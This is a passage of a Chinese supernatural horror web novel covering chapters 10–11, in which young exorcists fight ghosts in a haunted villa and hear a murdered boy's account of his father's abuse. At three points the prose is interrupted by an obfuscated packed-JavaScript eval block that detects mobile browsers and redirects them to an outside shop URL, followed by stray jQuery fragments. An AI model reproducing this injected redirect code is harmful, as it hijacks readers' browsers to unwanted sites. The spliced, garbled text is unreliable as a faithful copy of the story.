伴随着巨响一同冒出来的是无数从各个角落蜿蜒爬出的木手,楼下楼上,转瞬间将他们包围。 白雾粗略数了一眼,数不清。 张芡:“你不是使铜钱的?那就都拿出来,好好应战,掉链子我饶不了你。” 白雾有点命苦:“铜钱我只有一个,已经用完了。” “……”张芡语塞,“佟家克扣你?” 白雾无奈:“我姓李。” 张芡显然不信。 右边已经有木手扑了过来,张芡飞快从指尖弹出一枚铜钱,只听一声清脆的“叮”响,木手眨眼间化为齑粉。 她扯了扯嘴角:“骗鬼去吧。” 整栋别墅不论明处暗处的木手铺天盖地全都杀了过来,白雾心里估计一番,这要是被抓住,恐怕和五马分尸没有区别。 张芡身法矫健,一翻一躲,闪转腾挪,指尖捏出铜钱一弹,可碍于木手数量实在太多,在空中交织成了一张亡命蛛网,不消片刻她自己也应付不过来了。 白雾默默抽出刀,在不断袭来的木手之间寻找着站立点。他的反应力异于常人,在如此密集的攻击下,他寻到空子就拿刀一劈,将木手劈成两半。 张芡朝着白雾这边瞄了一眼,又疑惑起来。 木手源源不断如奔涌河水,打的就是一个消耗,而他们恰好又是最禁不起消耗的人类。 危难之际,两道火光如烈阳乍现,冲进木手堆里,精准找到了白雾二人。火光在二人周身旋成一个火圈,瞬间碾碎圈内的威胁。 火圈外的木手停住了动作,见势头不妙,纷纷朝着黑暗中退了回去。 归于平静,别墅还是那个别墅。 白雾站直,轻轻缓着浮躁的气息,回头一看,门上的怨灵早已借机逃之夭夭。 张芡看见火光,眼前一亮:“是羁玄堂。” 楼下传来白筝爽朗的声音:“是你大爷。” 张芡拧眉往下望,见来人是陌生面孔,立即警惕起来:“你们是谁?” 白雾:“我同伙。” 说完,他收回匕首,挪下楼梯,直奔门口而去。 张芡看见佟喜手中把玩的铜钱,漫不经心的样子,这下连她也有些混乱了。 佟喜朝她开口:“喂,你是羁玄堂的?” 张芡:“不该你们先报名号?” 佟喜:“我有胆说,怕你没胆听啊。” 张芡犹豫了。 铜钱、往生刀、铃兰纹,定是羁玄堂不会错。 来人的实力在她之上这是亲眼所见的事实,在羁玄堂内,恐怕也是个大前辈。只是苦于她是个不受重视的弟子,没机会接触到上层的人,怕是要叫人看笑话了。 张芡为难之际,白筝开口解围:“既然是杀怨灵的,那就是一路人,事成之后大家好聚好散,望天湖这份功劳算你的,我们不抢,应该也足够你晋升了。” 张芡一愣,松了口气。 这位前辈话里话外尽是托举,也是有心了。不过她依然摆着一副冷面:“我叫佟玉邈,谢过前辈。” “佟,玉,邈?”白筝小声念了一遍,然后看向佟喜。 白雾也看了过去。 佟喜神情诧异,他扭头一看两道视线落在他身上,于是用只有二人能听见的声音说明道:“表妹。” 二人又若无其事地瞥开了。 等佟玉邈下楼,白筝指了指沙发,又指了指椅子,问:“这两个也是你们一伙的?” 佟玉邈一看,莫田和庞李祥一个倒在沙发上,一个绑在椅子上,脑袋都栽着,没动静,看起来是吓晕了。 她蹙眉:“不是。” 随后解释道:“庞李祥是个凶宅试睡员,但背地里信奉家乡的邪神。他女儿庞笑笑出生时是早产弱胎,邪神说她不详,笑笑出生后,庞李祥的门面生意干一行亏一行,出于无奈才继续做老本行。人都喜欢为自己的无能找借口,阴神指明的庞笑笑就是他的借口,所以,他一直在想办法弄死自己的亲生女儿。但现在是法治社会,他也没法明目张胆下手,所以美其名曰带女儿出来历练,其实压根没想让笑笑回去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434424|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白雾听得背脊发凉。 “我身为羁玄堂的一员,不管怎样,肯定以任务为先。之所以跟了他做徒弟,也是为了找怨灵,仅此而已。” 佟玉邈又看向莫田:“至于这个人,是庞李祥的徒弟,也是同乡,从福利院领回来的。打小跟了他,没什么出息,也就打游戏厉害点。” 白雾心想那可未必。 白筝轻轻点头做思考状:“这怨灵能同时把几个大活人拖下来,不是你们能应付得了的。” 佟玉邈:“但我会尽力而为。” 白筝对她颇为赞赏。 看来羁玄堂的后辈,还没彻底烂透。 佟喜在后头左看右看:“你说的庞笑笑,在哪?” 佟玉邈刚准备开口,莫田突然惊坐起,尖叫:“笑……笑笑啊啊啊啊啊啊啊啊!!!“ 不知看到了什么,莫田又晕了过去。 答案就在二楼。 众人抬头,见庞笑笑正踮着脚尖行走于二楼栏杆上,轻盈而优雅,裙摆无风微微飘起。她的目光定定望向前方,前方是走廊深处,正倾洒出一道柔和的白光。 行至栏杆尽头,庞笑笑的身体如幻像一般消散,融进了光亮之中。 白雾注视着那渐渐隐去的光亮。 第二只怨灵,出现了。 白筝和佟喜只看一眼,无需提醒,便已了然。几人反应迅速,已佟喜为首相继上了二楼,直奔庞笑笑消失的方向,竟是男孩房前。 佟喜抓住门把手狠狠一拧一摇,门纹丝不动。 “别开了!”白筝出声叫停。 佟喜松开手,下一秒,一只木手从门把手下方伸了出来。走廊光线太暗,实在难以察觉。 木手死死攥着把手,守护领地的模样。 佟喜拉着脸,及其不耐烦。他真想把这里一窝端了速战速决,无奈有个佟玉邈,他们还不能这么早就掉马甲。要是让白家人知道他们没有魂飞魄散,不知道又会扯出多少麻烦事。 于是佟喜很不爽的骂了一句:“你大爷的。” 白雾上下打量男孩房门,突然意识到不对劲:“这不是他的本体。” 佟玉邈:“这只怨灵的本体是很完整的一个人,他不在这……” 调虎离山! 四人警铃大作。 “呜!!!呜呜呜呜呜呜!!!” 同时,楼下传来庞李祥嘶吼般的呜咽声。 白雾趴在栏杆处往下看。那只怨灵正趴在庞李祥身后,此刻他没有依附于门上,而是从庞李祥所坐的那把木椅上方长了出来! 下面是木椅的吞食,上面是怨灵的啃咬。眼见庞李祥身体已经被摧残了大半,腿脚和木头融为一体,时不时渗出一点血肉来,他眼睛瞪得极大,嘴巴无力的张开。 无数像章鱼触手般的树根从他嘴里疯狂生长,转瞬间攀满了整张脸。 随着一声断裂响,呼救声戛然而止。 佟玉邈见楼下情形,立马要下楼,白雾也下意识跟了上去。 然而佟玉邈刚跑到一半,脚底一滑,身体朝下方栽去。千钧一发之际,她抓住了扶手,这才没有狼狈滚下楼。 白雾经过白筝身旁,余光忽然瞥见白筝要伸脚绊他,他迅速刹住脚步,用埋怨的眼神看向使坏的亲戚。 白筝身后,佟喜悄摸收回了一枚铜钱。 白雾了然,但心有不满,他朝后退了一步,和这两个人拉开距离。 白筝则往前,凑近,轻轻留下一句:“你的时间很宝贵,别把精力浪费在没用的事情上。” 紧接着,他绕过白雾走到楼梯边将还挂在扶手上的佟玉邈扯了回来,佟玉邈不明所以,有些震惊有些恼怒。 被拎上去后,佟玉邈质问道:“他虽然是嫌疑犯,但你们认为死在这里、死在怨灵手中算是罪有应得吗?” “不然呢?”佟喜嘴欠但真诚,“那什么是罪有应得?” 佟玉邈噎住,不甘地看了眼楼下光景。从庞李祥嘴里长出的树根已将全身都裹在其中,树根之上,发出了点点绿芽。怨灵打开了尸体的天灵盖,埋在其中贪婪吸食着。 显然已经没救了。 她心里很不适,很反胃,咽口唾沫,差点真要吐出来了。 白雾故意绕开不看那处,而是转向空无一人的沙发,惊讶道:“莫田和庞笑笑不见了。” 10. 小可怜 “尸体不会跟着我们一起下来,还在池面。”白筝道,“不过莫田倒是有可能生死难料,怎么,是你好朋友?” 白雾如实答到:“他人不错。” 白筝:“那就一起找找。” 三人还站在二楼对着满地狼藉的客厅琢磨,另一侧,佟喜已经悄无声息摸到男孩房门前,使出神通驱散了门上的木手,一把推开了房门:“开了,过来。” 几人听见响动立刻凑了过去,在门前站定,谁也没有贸然往里迈。 一颗胶囊滚至白雾脚尖,停住,没有引起他的注意。此刻男孩房内,密密麻麻的胶囊堆成了小山。房间正中央的空地上摆放着一张一米长的婴儿床,床顶垂着可爱的卡通玩偶,小玩偶被缝上了眼睛。 房间内,缓缓飘出一阵轻柔的音乐。 佟喜率先走了进去,从婴儿床上拿起一个正在旋转的八音盒,指尖对着某个开关一掐,音乐声戛然而止。 周遭安静下来,其他人这才走了进去。 白筝打量着四周,问白雾:“这房间原本长这样吗?” 白雾摇头:“原本很正常,有床有书桌还有衣柜。” 现在别说书桌和衣柜了,连床都缩小了一倍。 其他人都围到了婴儿床前,白雾挤不进去,索性将目光转向胶囊堆里。他在胶囊堆里东翻西找,摸到了一块冰冷的黑色硬物。将胶囊推开后,露出了一台老旧的电视机,底下还连着一台磁带播放器。 恰在这时,佟喜把八音盒大卸八块,在里面找到了一盘磁带。 白筝兴致冲冲:“快播放试试。” 磁带这玩意和白雾不是一个时代,他只能将操作交给了二位前辈。 佟喜将磁带顺利推了进去,电视屏幕闪过一阵雪花,随机亮起了画面。 画面中正是原本的男孩房,阳光洒在床铺上,窗外风和日丽,静谧安详,只有轻微的电流滋滋声传出。半分钟过去了,一个小男孩坐到镜头前,他面无表情盯了一会,缓缓开口。 “我叫王欣然,今年十三岁,我死了。” “是被爸爸推下楼摔死的,死在了后院。” 男孩的声音沙哑又拖沓,听得人心理不适。房间内鸦雀无声,所有人屏息听着一个怨灵的自述。 “我从小就被爸爸打骂,因为我不是他想要的儿子。我不喜欢算数,不喜欢运动,但爸爸希望我喜欢,逼了我十三年。” “我喜欢粉红色,喜欢玩装扮贴纸,喜欢好看的人偶。同学们嘲笑我,爸爸不愿意接受我。为了让我成为他们口中的男子汉,他们逼我吃很苦很苦的药。” “没人理解我,我只想逃离这里。” “有一天,我发现家里的杨阿姨偷爸爸的钱,我告诉她,只要她肯带我走,我就不会告诉爸爸。但是杨阿姨告诉爸爸了,告诉爸爸说我想跑。那天,爸爸掐着我的脖子,像这样。” 屏幕里的男孩表情骤然变得凶狠,双手死死掐住了自己纤细的脖颈。 白雾听得难受。他虽然也经常挨妈妈揍,但那是因为他理科实在差的惨不忍睹,妈妈训他,他也左耳进右耳出,从未有过这般绝望。 电视里的男孩不愿放过自己,直到面色青白,才又狰狞着开口。 “那天过后,我开始帮杨阿姨偷东西……我把家里值钱的东西塞到她手里,想让她带我走,哪怕是出了城市就丢下我也可以,我只想要自由……阿姨还是没答应,她又去告诉爸爸了。” “她说,这段时间家里不见的东西都是被我偷走的。” 听到这,白雾忍不住了:“哇塞?” 白筝:“哇塞。” 男孩放过了自己的脖子,无精打采低垂着头:“我跟爸爸解释,可是爸爸不信,因为杨阿姨和家里沾亲,所以爸爸不想怀疑她。” “就是那天,爸爸喝了酒,把我按在围栏上威胁我,再不听他的话,就把我丢下去。” “结果,他松手了。” “……” “我真的什么都不想要,我只想要一个自由。” “……” “变成这样之后,我杀了爸爸,杀了杨阿姨,可我还是离不开这里。” “爸爸变成了和我一样的东西,有时他会躲着我,有时又会听我的话。可是没有用,我还是得不到我想要的。” “你们愿意帮我吗?” 此话一出,白雾敏锐地觉察到,屏幕内的王欣然直直与他对上了视线,似乎在和他对话,有求于他。 鬼使神差间,白雾问出了那个问题:“你现在在哪?” 本以为不会有回应,电视机里却真的传来王欣然的声音:“我就在这里啊。” “爸爸也在这里。” “来找我吧。” 电视画面定格在最后一帧,闪烁两下,彻底变成一片雪花,渐渐暗了下去。 佟玉邈询问二位前辈:“下一步我们该怎么走?” 佟喜正对着窗外神游,压根没在听。白筝活动了一下有些发僵的脖子,随口答道:“那就去找他呗。可我总觉得,这个故事不对劲呢?” 白雾思考着:“少了妈妈。” “啊对。”白筝叉腰,“怎么妈妈从头消失到尾,连提都没提,离婚了?” 白雾看得格外仔细,又回忆起了在花园里捡到的日记,他确信摇了摇头:“没有。刚刚背景里出现了一家三口的合照,只是像素太低了,我只看清个轮廓。” 白筝挽住白雾的肩膀,将重量压在后者身上:“还得是你,心细。” 白雾扯了扯嘴角,只想把这人从自己身上掀走。又无奈眼下真正靠得住的好像也只有他亲戚,这才忍住了手痒,问:“那我们现在该怎么办?” 白筝想了想:“嗯……回去呗。” “回哪里?” “池面啊。”白筝说得轻松,“王欣然不是说了在池面等你们?别忘了,你们只用铜钱敲下来了一个怨灵。” 白筝用手指比了个“一”。 白雾嘴角一抽。 还有下一关。 白筝继续加码:“而且,如果按王欣然所说,父子俩都成了怨灵,父亲还总躲着儿子。那他们大概率不是双生,而是主副关系。” 佟喜回过神,一挑眉:“那麻烦果真不小。” 佟玉邈许是从前没碰上过两只怨灵的任务,有些茫然地请教:“什么是双生和主副?” 白筝:“双生怨灵嘛,就像双胞胎,力量相等,能力相等,形成的时间和条件也相等,这个就叫双生。主副怨灵呢就是一只大怨灵带上一只小怨灵,能力有明显的差距,他们之间可能会庇护,也可能会追杀。” 白雾面无表情:“我估计王欣然肯定是想弄死他爸。” 白筝:“被敲下池底的怨灵短时间内很难自己再回去,我估计已经弄死了。” 白雾回想起王欣然说的最后一句话。 “爸爸也在这里,来找我吧。” 八九不离十。 佟玉邈:“弄死之后……会怎样?” 白筝:“主怨灵会实力大增,严格来说不是弄死,而是吸收。恐怕刚才这位父亲最后一丝利用价值已经没了,王欣然怕我们先动手,决定自己先吞噬掉。” 白雾:“……” 也就是说辛辛苦苦一整天,最后什么也没解决,还让两只怨灵合二为一了?好命苦。 佟玉邈倒是毫不悲观,一副神挡杀神佛挡杀佛的样子:“那我们事不宜迟。” 白雾两眼一闭。本来这份苦差事就是赶鸭子上架,吃不好睡不好还要一波三折最后竹篮打水一场空。 他好想睡觉。 白筝看出了他的想法,捏了捏他的肩膀:“别有压力嘛,你还有个护身符不是?放轻松,干完这一票带你去玩。” 白雾斜眼看他,表达一种死人世界到底哪里好玩的无语。 白筝笑了笑。 笑完,他拍拍白雾头顶:“行了,回去吧。”随即又塞给白雾一枚新的铜钱,悄悄道:“记得帮我们圆一下谎,谢了。” …… 回到池面。阳光从窗外洒进来,落在白雾脸上。重新见光眼睛有些不适应,下意识眯了眯眼。 “咕噜——” 旁边传来异响。 转头一看,佟玉邈尴尬移开视线:“我有点饿了,你不饿吗?” 白雾:“我还好,天生吃得少。” 食物对现在的他来说并不重要,吃那是饱口福,不吃也饿不死。 “那你体质还挺特殊。”佟玉邈纳闷,“两位前辈呢?去哪了。” “……”白雾面不改色,“可能是想放我们单独历练吧。” 佟玉邈毫不怀疑:“还得是前辈。” 许是见了白雾和前辈关系好,猜测白雾也不是等闲之辈,佟玉邈终于不再惜字如金,反而说啥信啥,也比较好糊弄。 白雾环顾一圈,男孩房终于变回了正常模样,并没有看见背景中出现的相框。自己和佟玉邈正坐在床边。连绵的雨声消失了,取而代之的是独属于春末夏初午后的清风声,白雾做了个深呼吸,放松了紧绷的身体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434425|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼下两位前辈不在,佟玉邈的好奇心就有些藏不住了,她又问:“你学习的是哪种咒术?我看你有铜钱,也用刀。恕我冒昧,我从未见过使用两种武器的人。” “……”白雾后背一僵,“火。” 佟玉邈认同点头,并不疑心:“我姓佟,学习的是金咒。我并不是佟家中心的成员,因为我们这一脉十多年前出了事,已经不被羁玄堂高层信任了。” 我知道,佟喜嘛。 佟玉邈:“所以有什么不足的,你大可直接跟我说,我会采纳。” “好。”白雾笑,“我也只是三脚猫功夫,不拖累你就好。” 佟玉邈也展眉:“不会,你靠得住,我的直觉一向很准。” 夸得太直白,白雾不好意思地岔开了视线。 嗵嗵嗵—— 房间内突然传出沉闷的敲击声。 白雾目光锁定在了书桌下方的小柜子里。 嗵嗵嗵—— 声音又出现了。 两人默契噤声,白雾离得近,率先起身走了过去。 柜子里的怪声还在持续,白雾掏出往生刀抵在缝隙中,轻轻将柜子撬开往里瞄了一眼。 对上了一只眼睛。 白雾和柜里的东西对视三秒,一把拉开柜门,露出了全貌。一睹柜中光景后,白雾连连后退好几步。 书桌下不到一米的置物柜中,压缩着一个折叠的人。浑身骨头尽数被折断,身体挤压得无法辨认,只剩一颗头和一只耷拉着的手。 嗵嗵嗵—— 怪声正是他的手拍出来的。 经过这几天的冲击,白雾渐渐有些脱敏,不再那么害怕了。 佟玉邈开口:“门上那位父亲?” 白雾也认出来了,有些解气:“王欣然怎么这样。” 干得好。 干完老爸就别干我们了呗。 怨灵手指咔咔一动,整个身体朝外涌了两下,竟然开始往出爬。 一反常态的,怨灵动作慢如蜗牛,光是将手伸出柜子,点在地板上看起来废了不小的力气。随着头探出来,白雾看清他全身的骨头都断得不成样子,一条手臂折成四节,却没彻底断开。 这意味着,他将拥有四个无限旋转的关节,更加灵活,更加难以对付。再者,现在操控他的人可能是王欣然。 白雾放下往生刀,拿出白筝留给他的莲花纸条。 佟玉邈单手一甩,甩出一条铜钱串。 怨灵半个身子趴伏在地上,眼睛上翻,盯着白雾一动不动。 白雾:“少看你爷。” 怨灵张开嘴,发出微弱的嘶叫,突然猛地朝着白雾扑了过来。 白雾眼疾手快,将纸条拍在了怨灵的手臂上。 同时,白筝的声音从脑海深处响起:“火咒贰——莲。” 绚烂的火莲花瞬间绽放、炸开,火星拍打在房间的每个角落,渐渐归于平静。处于正中的二人都被闪了眼睛,短暂失去了视觉。 恢复过来后,这位怨灵父亲已经消失不见,地上残留着一摊破旧的衣物,白雾却发现了一个更严重的问题。 佟玉邈不见了。 白雾突然惊觉不妙,他们好像中了王欣然的圈套。 他冲到衣柜前,所有柜门全部拉开,空无一人。 白雾意识到自己需要迅速冷静下来,万万不可大肆呼喊,越是这种时候越需要保持安静才能捕捉到分离同伴提供的信息。 然而,有人先一步发出了声音。 来自门外的交谈声。 “你怎么在这?你不是说在花园里摔了一跤,看见一楼厕所被占了要上楼冲洗吗?我看着你进的男孩房的厕所。” “我没有啊。” “……” “我刚才,看见师父下楼,说要去外面抽根烟……” 房间隔音太好,白雾听不真切,只能隐隐约约辨认出佟玉邈的声音。他犹豫片刻,开门出了房间。 二楼走廊。佟玉邈正在敲着主卧的门。 白雾出声问她:“你怎么在这?刚才你去哪了?” 佟玉邈猛然转过头看向从男孩房里走出的白雾,脸上写满了错愕,然后僵硬转向一楼:“你……?” 白雾也看过去。 莫田正站在一楼,满脸惊恐,视线在白雾和身边人之间看来看去。 而莫田身边站着的,是同样惊恐的自己。 主卧内传来了庞李祥刚睡醒的声音。 “怎么了?没事别老叫我,我在休息。” 11. 黑线舌头 庞李祥一开门,外头气氛直降冰点,冷得扎人。一行人神色各异左看右看,只有他不明所以,扫视一圈,吓得捂住心脏:“我的老天,怎么两个李雾?” 这话白雾也想问。 他下意识把手往兜里一伸,掏了个空。坏了,武器和道具没了,护身符也不见了。 没了保命之物,白雾第一反应就是伪装,他立刻冲楼下大喊:“莫田离他远点!我是真的!” 莫田却没那么好忽悠:“谁信你,我一直在客厅,没见有人上楼,你是假的!” 假“白雾”将莫田挡在身后,冷冷道:“他是鬼!杀了他!” 白雾没理会冒牌货,继续攻破莫田:“对啊,我上楼的时候也没看见你,你又怎么证明你是真的莫田?” 莫田声音弱了下来:“那是因为我在上大号……” 白雾:“那不就是了。既然你在厕所里,又怎么保证没人上楼?难不成你敞着门上的?” “不是!”莫田脸瞬间涨红,“我耳朵又不聋,上楼当然能听见。” 白雾:“那现在比起我,你不觉得你身边这位更可疑吗?” 莫田惊疑不定,看向身旁面不改色的“白雾”,心里顿空,脚不自觉往后移了两步,望向二楼的“张芡”和“庞李祥”:“师父,芡姐,你们做主吧,我不知道。” “张芡”不作声。 “庞李祥”被迫主持大局,颤抖的脸颊肉出卖了他的恐惧:“咳咳……要,要不,你们打一架吧?” 白雾要翻白眼了。 莫田捂住眼睛:“……我不敢看。” “张芡”眉头紧锁,一言不发,显然她也觉得这个师父蠢得可以。 白雾虽不满,但转念一想,打一架似乎是最好的结果。 搞不懂王欣然在搞什么鬼,眼前这些人究竟是故意伪装的追杀者,还是一帮幻化出的有自我意识的演员。 目前看来更倾向于后者,庞李祥本就是为了利益可以随手弃人不顾的性子。也就意味着,只要白雾嘴巴够灵,能控住场,除了假“白雾”以外的其他“人”未必会立刻下死手。 一打一总好过一打四。 可他现在手无寸铁,就算只有一个他也应付不过来。 这时,“张芡”淡然开口:“把两个都绑起来不就行了?” 白雾:“……” “白雾”:“……” “庞李祥”一拍大腿:“对对对!绑起来!两个都绑起来!最好是二十四小时死死看着,给口吃的保证能活下去就行了。” 莫田咬住手指,退到角落:“这有点虐待了吧……而且谁来守呢?真是鬼的话,会老老实实让我们绑吗……你去干嘛?” 话没说完,假“白雾”已经迈开腿,自觉坐在了一张椅子上,一副光脚不怕穿鞋的凛然模样。 白雾没话说了。 莫田也没话说了。 二楼来自师父和师姐的目光始终落在他身上,莫田只好苦着脸认命:“好吧,那我就坐在这打游戏。要是出了事,你们不能见死不救。” “庞李祥”重重松了一口气:“你放心,小小场面,师父保你还不简单。”又看向仍站在二楼的白雾:“站这干什么?我警告你,别逼我干你啊!” 白雾叹气,无奈下楼:“好好好。” …… 莫田从工具包里抽出两根麻绳,绕着两人缠了一圈又一圈,终于将二位固定。白雾双手被反捆在椅后,明显感觉到莫田的手一直在抖,反反复复系了好几次,差点忍不住安慰别急。 他对面五六米处就是一张和自己一模一样的脸,这种正版和冒牌货坦诚相对的感觉实在是有些幽默,对方盯着他,他也盯回去。 莫田拿出手机,窝进了最远的沙发,没多久,客厅里就响起了枪战的声音。正当午时,玩着玩着也觉无趣,两把游戏结束便有了困意,他头一栽就睡着了。 聒噪的游戏声一停,白雾听清了二楼的对话。 “张芡”:“这不合适,毕竟是个活生生的人。” “庞李祥”:“你怎么这么轴,我们也是活生生的人啊。等这单约定的三天过去,完事就放他们两个自生自灭,哪个是鬼我也不管了,我估计这个李雾也不是什么好人!哪有网络博主没设备还抢着往凶宅里钻的,死了也是他活该!” “张芡”妥协:“那凶宅后续出售怎么办。” “庞李祥”:“拿钱走人,之后再怎么样都跟我们没关系,往镇子里一扎,有神仙庇佑,哪个胆大包天的还来找我麻烦?” 白雾一边听着楼上的风凉话,一边思索起“庞李祥”口中的神仙。 转头一看,刚还睡在沙发里的莫田不见了。 对面的假货一刻不停地盯着他,眼睛一眨也不眨,都快两个小时了。 有它在,白雾完全没办法静下心思考。 于是开口:“你看别的地方行不行。” 对方无应答。 “你是王欣然吗?” 对方睁大眼睛看着你。 白雾从没觉得自己眼睛这么大过,今后照镜子恐怕都会想起它。 “那你知道王欣然在哪吗?” 对方依旧无应答,但向你吐出了舌头。 舌头惨白,长度略微夸张,舌面上缝了一道道交叉的黑线,看得触目惊心。 白雾后背有点发毛,扯了个僵硬的笑:“好看好看,收回去吧。” 不料对方真的听他话,乖乖将舌头缩了回去,闭上了嘴巴。 白雾暗自松了口气。 从被绑住开始,他的身体就一直紧绷着,手腕也勒得难受。这么耗下去并不是个办法,王欣然许是暂时没空,早晚都会动手。现在,他跟案板上的鱼没区别,被捆在这一味的等待宰杀。 可左思右想也想不出半点脱身之法,实在不知如何是好。 然而,变故从不等人。 还在苦恼之际,假“白雾”忽然再次张大嘴。口腔深处一片漆黑空洞,发出细而尖锐的怪叫。 白雾瞧了两眼,顿觉不对劲。 它的舌头不见了。 几乎同一瞬间,一截软腻的东西轻轻触碰他的小腿,白雾不愿细想那是什么,那什么却以霸道之姿沿着他的腿攀上了膝盖。 舌头。 密密麻麻缝满了黑线,湿冷黏腻,逐渐逼近的舌头。 白雾挣扎起来,椅子剧烈晃动。 大腿、腹部、胸前,舌头弯弯绕绕,一步步逼近,最后沿着脖颈攀到了下巴跟前。 白雾仰起头,手被麻绳勒出了血,其他绳索摩擦过的地方也因过度挣扎破了皮。眼看舌头到了眼前,他是动也不敢动,喘也不敢喘。 “饶了我吧……我死不掉的……”白雾自己都不知道在胡说些什么。 长舌在他眼前扭来扭去,迟迟不下手,像是在玩弄猎物,一点点将白雾的心理防线击溃,这时,寂静的客厅里传出了一道轻微的碎裂响。舌头停住了动作。 第二道碎裂声响起。 舌头闻声绕到了椅子后方。 第三道碎裂声响起。 白雾抓住这个空隙,刚要想办法挣脱,不料身体猛地一沉,急速下坠。 “咔嚓——” “啊!”白雾结结实实摔在了地上,疼得抽气。偏头一看,竟是椅子碎了,而那根长长的舌头正被他精准坐在屁股底下。 “嘶……” 疼的不光是他,对面的假货也是五官拧起,强行挣断绳索,捂住嘴巴,不停向后。 白雾瞥见脚边有一个黑黑的洞,屁股底下的舌头正在死命往里缩。于是他非常之坚定的又往下沉了一份力,整个人死死钉在了地板上。 虽然屁股被木头碎屑硌得生疼,但是没关系,再疼也要报复回去。 假“白雾”发觉目标正在整蛊自己,顿时恼羞成怒,直接闭上嘴巴,放弃挣扎,直直朝白雾走了过来。 白雾心知不妙,一边起身一边将身上的麻绳脱干净,转身跑向别墅大门,一把拉开。 门外,随着阳光一并打进来的还有一道阴影。 白雾微微仰头,对上虎视眈眈的“张芡”:“你要去哪?” “庞李祥”慢悠悠走近:“果然,你才是鬼。” 可他们脸上,如今正横着一条回旋镖般又弯又长的嘴,横贯脸颊,大大咧开,腐臭气息扑面而来。 厌恶压过恐惧,白雾单手捏住鼻子:“听不懂。” 随后下意识用另一只手去关门。 身后,一只手轻轻搭在他肩膀上,迫使他停下了动作。 木然回头,假“白雾”脸上的阴笑如出一辙,再一看,长长的舌头从它们嘴里掉了出来,黑线交织在上,坠在胸前。三道尖鸣同时响起,随着怪叫应声而动的,是舌头上的黑线。 黑线一层层脱落,在舌头上翻出血花,至末端,牵出了一根根细细的针。 三根带线的飞针毫无预兆朝白雾飞刺而来,任他朝着任何一个方向躲,都避不开。 白雾屏息,脚下爆发了巨大的力量,已经做到了最快的闪避,却仍有一根针擦过了手臂。细针如闪电,贴着肉迅速缝了一圈,最后将针头深深扎进肉里,留黑线在皮肤上不断收紧,眨眼间勒出了鲜血。 “啊!!”白雾一个踉跄,手臂上传来剧烈的刺痛,他握紧伤处,咬着牙想将针拔出来,针却纹丝不动。 剩下两针紧追不舍。 白雾已经疼出了汗,脱力跑不快,上楼时脚没踏稳,身体重重磕在了楼梯上,闷哼一声,开不了口。 完了,好像真要栽在这了。 白雾抱着绝望往上爬了一阶,第二根针狠狠刺进他的后背。 “呃啊啊啊!!!” 这针速度慢了许多,让他清晰感受到针线在他皮肉里穿梭拉扯。怪就怪在自己亲口透露是不死之身,王欣然存心要好好折磨他。 彻骨的绝望。 白雾趴伏在楼梯上,第二针缝完了。 连睁眼都费力,他没心思去想背后是怎样的光景。手臂上的黑线在勒到要废他手臂的临界点停住了,没等他喘口气,背后紧接着也开始收缩。 好疼。 好疼好疼。 好疼好疼好疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434426|200948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背部被扯成一团,白雾不确定自己的皮是不是已经被生生剥下来了。 然而,第三根针绕到了他正脸前。 他已经疼得看不清了。 直到针尖怼到他眼前,他才反应过来王欣然下一步要做什么。 “别……” 白雾闭上眼。 剧痛并未到来,只听一道疾风掠过,紧接着是细针落地的轻响,无比清晰。 “李雾!你,你还好吗?” 是莫田的声音。 白雾睁开眼,见一道人影从二楼朝他奔来,一身熟悉的蓝色卫衣,那是救命稻草。对方扛住他没受伤的右手,撑着他往楼上拖。 他声音虚弱:“你,你刚才去哪了啊。” 莫田:“我……唉,一会跟你说,剩下的针暂时被打掉了,我们赶紧到安全的地方去。” “好。” 莫田将他带至二楼走廊尽头,白雾看见天花板上空了一块,上面似乎是个阁楼。莫田带着一个伤者本就吃力,废了好大劲才把人弄上去,再用木板重新堵住了入口,将阁楼与外界隔离开来。 白雾靠着墙滑到了地上,忍着痛扫视一圈,问:“你刚才就是藏在这?” 莫田点头。 “那为什么不来找我。” 尾音难掩委屈,一滴带着抱怨的眼泪啪嗒打在了裤子上,晕开了。 “……”莫田抿着嘴凑近,仔细将他手臂上的黑线剪开,慢慢扯掉,半响他才回复,“我在找东西。” 白雾眼里还兜着泪:“那你找到了吗?” “找到了。” 白雾见他跪着的膝盖旁躺着一把木剑。 “就是这个?” 莫田:“嗯。我来这里就是为了找它。” 白雾轻声:“真好,找到了。” 莫田:“先别说话,我帮你把背上也处理了。” “……” 白雾垂着头,侧过身子,任由莫田在他背上干精细活,这会倒是不疼了,只是先前的剧痛还残留在神经里,他浑身发软,没缓过来。 气氛有点尴尬,白雾回想着刚才的场面,冷不丁冒出一句:“你干嘛帮那个假货。” 莫田手一顿,随后挠了挠头:“我实话实说,那时候我也不知道哪个才是你,还以为两个都是假的呢。” 